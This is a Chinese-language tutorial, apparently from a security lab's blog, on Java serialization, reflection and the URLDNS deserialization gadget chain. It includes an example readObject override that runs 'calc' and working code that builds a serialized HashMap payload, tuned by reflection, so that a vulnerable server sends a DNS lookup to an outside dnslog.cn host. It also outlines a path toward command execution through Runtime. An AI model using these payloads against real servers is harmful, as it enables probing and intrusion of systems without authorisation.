引 言
本篇为Java反序列化安全的第一篇,用了大量篇幅讲到Java基础知识序列化和反序列化以及Java反射。以DNS-URL链为例跟踪数据从反序列化入口到在服务器上执行期望方法的整个过程。
01 序列化与反序列化
Serialization(序列化)是将对象的状态信息转化为可以存储或者传输的形式的过程,一般将一个对象存储到一个储存媒介,如磁盘上(通常保存在文件中)。在网络传输过程中,可以是字节或者XML等格式;而这些信息可以还原成完全相等的对象,这个相反的过程又称为deserialization(反序列化)。
优点:实现了数据的持久化,通过序列化可以把数据持久地保存在硬盘上(磁盘文件)。利用序列化实现远程通信,在网络上传输字节序列。
1.1Java对象的序列化和反序列化
在Java中,我们可以通过多种方式来创建对象,并且只要对象没有被回收我们都可以复用此对象。但是,我们创建出来的这些对象都存在于JVM中的堆(heap)内存中,只有JVM处于运行状态的时候,这些对象才可能存在。一旦JVM停止,这些对象也就随之消失。
但是在真实的应用场景中,我们需要将这些对象持久化下来,并且在需要的时候将对象重新读取出来,Java的序列化就是帮助我们实现该功能的一种技术。
对象序列化机制(object serialization)是java语言内建的一种对象持久化方式,通过对象序列化,可以将对象的状态信息保存未字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式转换成对象,对象的序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。
在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。
1.2序列化与反序列化相关接口和类
Java为了方便开发人员将java对象序列化及反序列化提供了一套方便的API来支持,其中包括以下接口和类:
java.io.Serializable
java.io.Externalizable
ObjectOutput
ObjectInput
ObjectOutputStream
ObjectInputStream
Java类通过实现java.io.Serialization接口来启用序列化功能,未实现此接口的类将无法将其任何状态或者信息进行序列化或者反序列化。可序列化类的所有子类型都是可以序列化的。序列化接口没有方法或者字段,仅用于标识可序列化的语义。
当试图对一个对象进行序列化时,如果该对象没有实现java.io.Serialization接口时,将抛出NotSerializationException异常。
1.3序列化与反序列化示例
1 |
先定义一个实现Serializable接口的Person类。 |
Person.java
package com.java.demo;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
public Person(String name,int age){
this.name=name;
this.age=age;
}
public String toString(){
return "Person{"+
"name='"+name+'''+
",age="+age+
"}";
}
}
2 |
定义SerializationTest类:serialize方法接收一个对象调用java原生序列化方法writeObject将结果写入到文件中。实例化Person类对象,调用serialize方法将其反序列化并将结果保存在Person.txt中。 |
SerializationTest.java
package com.java.demo;
import java.io.*;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("Person.txt"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person p = new Person("aa",18);
System.out.println(p);
serialize(p);
}
}
反序列化执行结果:可以看出其中的内容是不容易阅读的,只能通过反序列化读取。
3 |
定义UnserializeTest类:unserialize方法接收一个文件调用java原生反序列化方法readObject将文件中的信息反序列化为对象。 |
UnserializeTest.java
package com.java.demo;
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person p = (Person) unserialize("Person.txt");
System.out.println(p);
}
}
02 反序列化的风险
以上都是java提供的原生序列化与反序列化操作,其实并不会产生安全问题。但是考虑到资源的浪费和其它因素,很多情况下会重写writeObject、readObject方法,可以使开发者更灵活的做一些操作。
同时也造成了一些风险:当服务器接收了一个序列化的对象并将其反序列化时,同时这个对象所属类重写了readObject方法,那么服务端反序列化时就等于自动调用该类的readObject方法,执行readObject方法中的代码。
这种反序列化的机制给予攻击者在服务器上运行代码的能力。包括以下可能的形式:
1 |
入口类的readObject直接调用危险方法。 |
2 |
入口类参数中包含可控类,该类有危险方法,readObject时调用。 |
3 |
入口类参数中包含可控类,该类又调用其他有危险的方法的类,readObject时调用。 |
其中第三种可以泛指多个类嵌套,本篇文章暂时只涉及前两种方式的反序列化风险。
2.1 入口类直接调用危险方法
例:假如类中按以下代码重写readObject方法,那么在服务端对其进行反序列化时就会执行readObject中的代码。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
该情况为反序列化执行代码的最理想情况,但实际环境中基本不会出现。
2.2 入口类参数中包含可控类
2.2.1 入口类 source
理想条件:可以序列化(实现Serializable接口),重写readObject方法,参数类型宽泛,最好JKD自带。
结合以上条件我们可以找到hashMap,hashMap本身的特性完美契合我们所要寻找的入口类的特点。其它符合条件的类同样可以作为入口类,这里以hashMap为例:hashMap实现了Serializable接口。
在HashMap的readObject方法中调用了hash方法来重新计算key的hash值。
跟进hash方法,当Object对象key不为空的时候,会调用key的hashCode方法。
2.2.2 调用链 gadget chain
当反序列化传入hashMap作为入口类时,会进入以下的流程hashMap>readObject>hash>hashCode。如果此时该类又调用了其它类,那么就会调用其他类对象的hashCode方法。根据传入类的不同得到不同的结果,或进一步寻找其它调用链。
这里插入Object类常见方法:Object类方法,每个对象都有的方法。可以优先观察这些方法中是否有可利用的点。
2.2.3 执行类 sink
最终执行方法,得到期望结果的类。
以URL类为例最终执行了URL类中的方法,获得DNS解析,得到期望结果。
1 |
URL-DNS反序列化链 |
当服务器存在一个反序列化的点时,通过hashMap为入口类然后调用URL类构造一个DNS请求。形成一条SSRF的利用链。
找到URL类,发现URL类实现了Serializable接口。符合可反序列化条件
在URL类的hashCode方法里如果hashCode等于-1(在实例化URL对象时,hashCode初始值为-1)就会调用handler.hashCode方法
在URLStreamHandler类的hashCode方法里执行了getHostAddress方法
其中getHostAddress方法为通过域名获取IP地址,所以至此服务端会进行一次域名解析的动作。
通过流程URL>hashCode>handler.
hashCode>getHostAddress,最终得到一个DNS请求。
2 |
结合入口类hashmap |
构造如下payload进行序列化,预计在服务器进行反序列化时发起一个DNS请求。
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://jvz33a.dnslog.cn"),1);
但是通过对该对象进行序列化与反序列化的过程中,观察到在进行序列化的时候就已经进行了DNS请求。
而在反序列化的时候并未进行DNS请求。经过排查发现问题出现在当调用hashmap的put方法时,就已经执行了hash>hashCode这一过程。
而URL对象的hashCode的值在初始时为-1,当执行过hashCode方法后,URL对象的hashCode的值将被赋值为其对应的hash值。而当hashCode不等于 -1时,则无法执行hashCode > handler.hashCode > getHostAddress流程。
这里就需要引入java反射技术来改变一个已经生成的对象的属性值,来修改put前后URL对象的hashCode的值以达到理想状态。
03 Java反射
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
反射就是把java类中的各种成分映射成一个个的Java对象。
3.1 反射的作用
让java具有动态性、修改已有对象的属性、动态生成对象、动态调用方法、操作内部类和私有方法。
3.2反射的用法
1 |
获取Class对象 |
getClass() 返回一个对象的运行时类。
public static void main(String[] args) throws Exception{
//1.加载Class对象
Student student =new Student();
Class c = student.getClass();
}
2 |
通过反射获取构造方法并使用 |
getConstructors()返回所有公有构造方法
getConstructor(Class… parameterTypes)返回单个公有构造方法
getDeclaredConstructors()返回所有的构造方法(包括:私有、受保护、默认、公有)
getDeclaredConstructor(Class… parameterTypes)返回单个构造方法(包括:私有、受保护、默认、公有)
newInstance(Object… initargs)调用构造方法
package com.java.demo;
import java.lang.reflect.Constructor;
public class test {
public static void main(String[] args) throws Exception{
//1.加载Class对象
Student student =new Student();
Class c = student.getClass();
//2.获取所有公有构造方法
System.out.println("---所有公有构造方法---");
Constructor[] conArray = c.getConstructors();
System.out.println("---所有的构造方法(包括:私有、受保护、默认、公有)---");
conArray = c.getDeclaredConstructors();
System.out.println("---获取公有、无参的构造方法---");
Constructor con = c.getConstructor(null);//因为是无参的构造方法所以类型是一个null,不写也可以,这里需要的是一个参数的类型,切记是类型
//调用构造方法
Object obj = con.newInstance();
// Student stu = (Student)obj;可以通过强制类型转换转为Student对象
System.out.println("---获取私有构造方法,并调用---");
con = c.getDeclaredConstructor(char.class);//char.class为接收参数的类型
//调用构造方法
con.setAccessible(true);//允许访问私有变量
obj = con.newInstance('男');
}
}
3 |
获取成员变量并调用 |
getFields():返回所有的公有字段
getDeclaredFields():返回所有字段(包括:私有、受保护、默认、公有)
getField(String fieldName):返回某个公有的字段;
getDeclaredField(String fieldName):返回某个字段(包括:私有、受保护、默认、公有)
set(Object obj,Object value)设置字段的值
package com.java.demo;
import java.lang.reflect.Field;
public class Fields {
public static void main(String[] args) throws Exception {
//1.加载Class对象
Student student =new Student();
Class stuClass = student.getClass();
//2.获取字段
System.out.println("---获取所有公有的字段---");
Field[] fieldArray = stuClass.getFields();
System.out.println("---获取所有的字段(包括私有、受保护、默认的)---");
fieldArray = stuClass.getDeclaredFields();
System.out.println("---获取公有字段---");
Field f = stuClass.getField("name");
//获取一个对象
Object obj = stuClass.getConstructor().newInstance();//产生Student对象->Student stu = new Student();
//为字段设置值
f.set(obj, "张三");
//为Student对象中的name属性赋值->stu.name = "张三"
//验证
Student stu = (Student)obj;
System.out.println("---获取私有字段,并调用---");
f = stuClass.getDeclaredField("phoneNum");
f.setAccessible(true);//允许访问私有变量
f.set(obj, "18888889999");
}
}
4 |
获取成员方法并调用 |
getMethods():返回所有公有方法(包含了父类的方法也包含Object类)getDeclaredMethods():返回所有的成员方法,包括私有的(不包括继承的) getMethod(String name,Class… parameterTypes)返回单个公有方法 getDeclaredMethod(Stringname,Class…parameterTypes)返回单个方法(包括:私有、受保护、默认、公有)。
invoke(Object obj,Object… args)调用方法
package com.java.demo;
import java.lang.reflect.Method;
public class MethodClass {
public static void main(String[] args) throws Exception {
//1.加载Class对象
Student student =new Student();
Class stuClass = student.getClass();
//2.获取所有公有方法
System.out.println("---获取所有的公有方法---");
Method[] methodArray = stuClass.getMethods();
System.out.println("---获取所有的方法,包括私有的---");
Method[] methodArray = stuClass.getDeclaredMethods();
System.out.println("---获取公有的show1()方法---");
Method m = stuClass.getMethod("show1", String.class);
//实例化一个Student对象
Object obj = stuClass.getConstructor().newInstance();
m.invoke(obj, "张三");
System.out.println("---获取私有的show4()方法---");
m = stuClass.getDeclaredMethod("show4", int.class);
m.setAccessible(true);//允许访问私有变量
Object result = m.invoke(obj, 20);//需要两个参数,一个是要调用的对象(获取有反射),一个是实参
}
}
04 反射在反序列化中的应用
接上部分内容:这里就需要引入java反射技术来改变一个已经生成的对象的属性值,来修改put前后URL对象的hashCode的值以达到理想状态。
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url =new URL("http://i293d7.dnslog.cn");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);//允许访问私有变量
hashcodefield.set(url,1);//将hashcode属性设置为1
hashmap.put(url,1);
hashcodefield.set(url,-1);//在put后改回为-1
serialize(hashmap);
}
通过以上方法修改url对象hashcode值后,再对其进行序列化时就不会触发DNS请求。并且在反序列化的时候成功收到DNS请求。
至此反序列化功能点成功执行了我们构造的代码,达到了最初的期望效果(发起dns请求)。
反射在反序列化漏洞中不仅可以定制需要的对象,还有很多别的用法:
1 |
反射中invoke(Object obj,Object… args)方法还可以用于对传入关键字的绕过。 |
2 |
如果某类中使用了invoke方法,同时传入的方法名为可控字段。我们就可以调用任何方法。 |
3 |
反序列化的最理想利用应该是执行命令,但是Runtime类是没有实现Serializable接口的,也就是无法对Runtime对象进行序列化操作。但是Class类是可以序列化的,通过反射技术以Runtime.class为参数调用Class的构造方法实例出一个Runtime对象,之后找到某个invoke()方法可以传入getRuntime作为参数。这样就等于找到了一条命令执行的反序列化链。 |
这些用法在以后的篇章中都会具体的示例。总之反射在java中属于高级的用法,在反序列化漏洞中也是非常重要的。所以很详细讲了java反射的用法。
参考链接
1.https://juejin.cn/post/6844903954774491144
2.https://blog.csdn.net/qq_62414755/article/details/125886742
3.https://blog.csdn.net/sinat_38259539/article/details/71799078
原文始发于微信公众号(中尔安全实验室):Java反序列化安全 | DNS-URL